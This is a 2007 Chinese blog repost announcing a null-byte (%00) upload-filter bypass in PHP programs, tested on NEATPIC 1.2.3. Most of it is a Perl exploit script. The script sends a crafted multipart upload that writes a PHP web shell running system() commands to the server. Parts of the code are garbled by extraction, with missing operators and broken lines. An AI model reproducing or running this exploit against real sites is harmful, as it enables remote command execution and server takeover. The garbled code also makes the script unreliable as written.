PHP網站警報,多種PHP程式過濾漏洞(轉)

RegisterForBlog發表於2007-09-19
PHP網站警報,多種PHP程式過濾漏洞(轉)[@more@]

  危害:直接上傳任意檔案

  漏洞描述:

  當PHP程式有指定PATH時,在PATH檔案後門加入%00可以上傳任意檔案.

  測試程式:NEATPIC PHP目錄直讀版 1.2.3

  

  此文件參與者:

  漏洞實驗者:Xiaolu,Lilo,SuperHei,Darkness [All BST Members]

  

  Xiaolu提供了一個漏洞利用程式:

  #!/usr/bin/perl

  $

  = 1;

  use Socket;

  $host = "127.0.0.1";

  $port = "80";

  $UploadTo = "";

  $str =

  "-----------------------------7d41f4a600472 ".

  "Content-Disposition: form-data; name="path" ".

  " ".

  "./php.php%00 ".

  "-----------------------------7d41f4a600472 ".

  "Content-Disposition: form-data; name="image"; filename=

  "F: ools1.gif" ".

  "Content-Type: text/plain ".

  " ".

  ""system($c); ".

  "?> ".

  "-----------------------------7d41f4a600472-- ".

  " ";

  print $str;

  $len=length($str);

  print $len;

  $req ="POST /index.php?action=upload HTTP/1.1 ".

  "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,

  application/msword, application/x-shockwave-flash, */* ".

  "Referer: ".

  "Accept-Language: zh-cn ".

  "Content-Type: multipart/form-data; boundary=----------------

  -----------7d41f4a600472 ".

  "Accept-Encoding: gzip, deflate ".

  "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT

  5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322) ".

  "Host: 127.0.0.1 ".

  "Content-Length: $len ".

  "Connection: Keep-Alive ".

  "Cache-Control: no-cache ".

  "Cookie: PHPSESSID=111111111111111111111111 ".

  " ".

  "$str ";

  print $req;

  @res = sendraw($req);

  print @res;

  #Hmm...Maybe you can send it by other way

  sub sendraw {

  my ($req) = @_;

  my $target;

  $target = inet_aton($host)

  die("inet_aton problems ");

  socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')

  0)

  die("Socket problems ");

  if(connect(S,pack "SnA4x8",2,$port,$target)){

  select(S);

  $

  = 1;

  print $req;

  my @res = ;

  select(STDOUT);

  close(S);

  return @res;

  }

  else {

  die("Can't connect... ");

  }

  }

  

·上一篇:

·下一篇:
 
     最新更新
·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·


| | | | | | |

Copyright © 2004 - 2007 All Rights Reserved

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10763080/viewspace-970190/,如需轉載,請註明出處,否則將追究法律責任。

PHP網站警報,多種PHP程式過濾漏洞(轉)
請登入後發表評論 登入
全部評論

相關文章